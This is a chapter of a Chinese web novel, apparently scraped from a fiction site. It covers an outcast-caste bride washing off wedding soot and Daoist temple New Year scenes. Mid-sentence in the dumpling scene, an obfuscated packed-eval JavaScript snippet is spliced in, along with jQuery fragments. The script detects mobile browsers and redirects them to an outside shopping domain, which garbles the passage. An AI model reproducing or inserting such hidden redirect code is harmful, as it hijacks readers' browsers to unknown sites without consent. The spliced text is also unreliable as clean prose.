文趣网 > 其他小说 > 我不信你两眼空空 > 38. 第 38 章
    闹房一直持续到深夜。

    四野无声,秀英蹲在河埠头的石阶上。已至卯时,可天还是灰的,河面也是一片死气的灰色,连水声都被冻住。

    她低头看,一张乌黑的脸也在回望她。

    秀英面无表情地盯着看一会儿,伸出手去碰河水,指尖才触及,冰冷一寸一寸往上爬,整个胳膊就像被细针扎过。

    掬起一捧水泼在脸上,从额头顺着颊边流到下巴,便变作灰水,尽数滴落衣襟。

    她狠狠搓一把,可喜灰是锅底灰和香油调的,沾了水反而更滑,像一层蜡油,牢牢抓住皮肤,怎么都搓不掉。

    秀英搓得犯呕,便用指甲去刮,刮得狠了,脸上现出一道道白印。

    指甲缝里塞满黑垢,于是她停下来,去扣指甲,扣干净了又接着刮。

    脸上越痛,她越要使劲。

    凭什么?

    凭什么把人欺辱到这种地步?

    就因为她是堕民,生来低人一等?为何祖上犯的罪是她们来偿还?一代一代永无止境地偿还!

    她突然好恨,恨自己被生下,不仅是她,所有贱民都不该被生下,贱民就应该绝种!绝种!

    秀英想大喊大叫,更想把一切都砸烂,那些红色,那些喜庆,她恨死了,她厌恶红色,憎恶“囍”字,恨不得一把火烧尽,让所有人都死掉!

    远远地传来一声鸡鸣。

    她忽然像被抽光力气,也不管石阶湿不湿,一屁股坐下,目光空洞地望着前方。

    这时,一个七八岁模样的小姑娘从河埠头经过。她望见阶下坐着的人,先是一愣,随即又飞快地跑开。

    公鸡还在喔喔喔地啼叫,一痕淡金贴着远山轮廓洇开,树梢一根一根亮起,河面波光粼粼。

    “姐姐。”

    秀英闻声,木然地转头。适才跑走的小姑娘已下了石阶,挨着她蹲下,小小的拳头伸到她面前。

    手掌摊开。

    “姐姐,”她用另一只手指了指自己的脸,“该个光用水洗勿干净,要用胰子。”

    小姑娘身穿青衣袄、黑背心,这是堕民的穿着,为了区分平贱的穿着。

    秀英没有说话。

    小姑娘见她只是发怔,便弯腰掬水,将那胰子在掌心里搓出细细的泡沫,然后轻轻抹在她脸上。

    “姐姐,我帮侬洗。”

    秀英坐着一动不动。

    小姑娘轻柔地揉,耐心地帮她一点一点洗去那层黑垢。

    “侬……是跟侬姆妈来个?”秀英突然出声。

    小姑娘手上未停,笑着应一声:“嗯!我姆妈来做老嫚,就勒前头该户人家。姐姐,”她又道,“侬往后勒田斗篮里记得放一块胰子。”

    望着这张稚气的脸,恍惚间,秀英好像见到了从前的自己。可同时,也透过如今的自己,看到了将来的她。

    “洗好哉。”

    小姑娘退后半步,歪着脑袋端详,露出一个满意的笑:“姐姐,侬变好看哉,勿要再难过嘞。”

    *

    领完赏钱,回家已是深夜,刚要推门,却听得屋内传来阿爷一阵呻吟。

    “老婆子,痛煞哉!脚里向有尖尖个东西扎我骨头、割我肉,快点替我打盆冷水来敷敷!”

    秀英的手停在门板上。

    但听房门“嘎吱”一声,脚步匆匆地走动,而后是木盆搁上桌面的响动,跟着水声哗哗。

    阿娘的声音气急:“郎中讲过痛风勿能吃酒,侬每日还吃介多!以后全身都要长石头,立也立勿起,坐也坐勿落。侬也勿替秀英想想,志根已经介套,假使侬也倒落去,她哪能办?”

    阿爷的声音硬邦邦:“侬放心,我勿会死!”

    “死脱也清爽!”阿娘呛回去,“死脱一了百了,就怕侬半死勿活,折腾人!”

    阿爷不吱声了。

    良久,阿娘的声音响起,带着试探:“裘长泰之前讲……”

    话才起头,阿爷便激动地截断:“想阿勿要想!侬忘记申明亭个事体哉?该是好人家?裘大有颠倒黑白、勿仁勿义,搭介种人家结亲,勿用痛风来要我命,我气阿气煞!”

    又是缄默。稍顷,阿娘叹了口气:“其实真个招进门来,就是阿拉自家个倪子,也勿会搭裘家有多少往来。志根讲,裘长泰为入赘个事体,跟裘大有闹崩哉,现在人被赶出去,只好困柴房里向,日子也勿好过。”

    话音落下,屋里再无人开口。

    秀英一直站在门外,直到两只脚都冻得发麻,才转身往灶间去。灶间有一扇小门,她打里悄悄进屋。

    回到自己房中,田斗篮还挎在臂间,她颓然地坐在床沿,先是发呆,但很快,眼泪便不受控制地涌了出来。

    秀英没有抬手去擦,只是那样坐在黑暗里,任泪水无声流尽。

    *

    却说坐钵渐收尾声,旧岁将尽,新春已在门外探头。

    过年于民间自是热闹,便是清寂的道观,亦有一番庄重而喜庆的气象,法事活动自元旦起,几乎贯穿整个正月。

    真一观虽人丁单薄,但该有的热闹一样不少。

    除夕前一日,观中上下一齐动手大扫除。斐然分得擦供桌的差事,太初山人则亲自爬梯子,扫那梁上积攒一年的灰。到得中午,大伙儿便围在灶间,一道包素馅饺子。

    她当然是不会包的,捏出来的褶子歪歪扭扭,馅料还从边口挤出,怎么也合不住。皱眉用力一捏,饺子反倒裂了肚皮。

    张惟龄探头瞥一眼,毫不客气地笑道:“善信,我看你还是别包了,你包一只,师兄就得替你重捏一只,简直是在给师兄添活计。”

    斐然搁下破肚皮的饺子,烦得白他一眼。

    李惟道自然地将那只饺子拈起,指尖蘸一点水,沿裂口一捏,肚皮便妥帖地收拢了。

    那旁的黎懋止与黎懋观并肩站着,一个洗菜,一个切菜,配合默契。斐然心里藏很久的问题,不觉问了出来:“懋止道长,懋观道长,你们为何会一同出家当道士?”

    黎懋止闻言,甩甩手上的水珠,微笑着回道:“因为我们不愿分开。若留在世俗,各自成家,终有一日会走散,我们无法接受,所以就想,不如一起修行,又因舍不得头发,便当了道士。”

    斐然听到那句“舍不得头发”,思绪不由一飞——如果道长没有头发?

    不不不,心里的小人摇头如拨浪鼓,头发不能没有,头发很重要的,赶紧把那个画面从脑子里赶出去!

    抬眼去偷瞄他那头乌发,心中终于安定,还好太初山人是道士不是和尚。

    若换了和尚,光溜溜的头皮还要烫上戒疤,据说那几处便再也长不出头发,日后若还俗,头顶发量得少一半。等上了年纪,万一秃顶咋整?那可真是……简直还不如光头。

    什么啊,她在想什么乱七八糟的。

    斐然收回乱飞的思绪,又问兄弟俩:“是世上的另一个我,这种感觉吗?”

    “善信说得对极。”黎懋观颔首

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761034|206360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“双生是天赐的缘分,我们是两个人,却又是一个整体,就像一枚铜板的两面,只有在一起才是完整的。”言罢,与黎懋止相视一笑。

    众人脚边,灶膛红光暖融融地铺了一地,三花猫蜷在那片光里,四只爪子收于腹下,正眯着眼烤火。

    大锅的水咕嘟咕嘟地翻白浪,太初山人将一盘饺子送入锅中。

    过不多时,胖饺子一只接一只地浮起。白汽四散弥漫,把一屋子的人都氤氲得模糊了。

    *

    元嘉二十一年岁末。

    除夕晚斋方罢,碗碟犹未撤尽,山门外便隐隐有人声。檐下一对灯笼早已点亮,烛火晕染,照见一张张被寒风吹红的面庞。

    这是斐然来真一观以来,见过人最多的一次。

    相传诸神会在除夕从天庭重返人间,子时天地交泰,万象更新,在此时焚香祷告,最易通达神明,故信众们皆等候着这头一炷香,以祈新年平安顺遂,福运绵长。

    夜色沉沉,太初山人身着法衣,执引磬立于殿前。但见他抬手,将磬槌一击。

    “叮——”

    一声磬响,清越而悠长。

    “吉时到——”

    话音方落,香客们立时往前挤,手中线香次第点燃,橙红小火苗在暗夜里接二连三地亮起。

    斐然站在台阶下,扭头望向身旁。

    “道长,”她笑着,声音在一片喧闹里落进他耳中,“新年快乐。”

    李惟道闻言,侧首也回以一笑:“新年快乐。”

    话音落地,彼此沉默,斐然忽而问:“道长,那日我被山人罚铲雪,却在树下睡着了,后来广场上的雪是你帮我铲完的吗?”

    他坦然地点头:“是贫道。”

    “道长为何帮我?”

    李惟道尚未开口,她又接了上去:“我知道若换成是陈仙姑,道长也一定会帮她的。”

    “所以——”斐然抬眸,望进他眼底,认真地问,“我和陈仙姑在道长心中是一样的吗?”

    大殿前那座大香炉已被插得满满当当,青烟缭绕升腾,又于夜风中飘散,将那些默祷的身影笼进一片雾霭之中。

    “一样,又不一样。”李惟道说。

    斐然不允许模棱两可的回答,追问道:“不一样在哪?”

    过了一会儿,他道:“斐然与惟真师弟是两个不一样的人。”

    “道长不说道通为一了?”

    “这是一样的层面。”

    她不满地轻哼:“说了等于没说。”

    人声嘈杂,香火浮动。

    信众们唯恐举得不够高,够不着天听,纷纷伸长手臂,将线香高擎过顶。一片朦胧中,整座道观仿佛也被香火托起,与万千祈愿,一并升上云天。

    斐然阖上眼:“我也要许愿。”尾音甫落,她又倏地睁开一只去看他,“我以前从来不许愿的。”

    李惟道笑了笑。

    她又合住眼:“我许的愿望是——”

    “愿望说出来就不灵了。”他轻声打断。

    “谁说的,”斐然闭着眼,嘴角含笑,“一定灵的。”她微微扬起下颏,吸一口气,然后大声地说出来。

    “我许愿,希望道长能在我生辰那日,亲手为我煮一碗长寿面!”

    言罢,她仍不睁眼,脸上却已笑开。没有预兆的,李惟道也跟着笑起来。

    不远处的张惟龄看得直了眼,半晌才摇头慨叹:“我的祖师爷,何时见过师兄笑成这样啊。”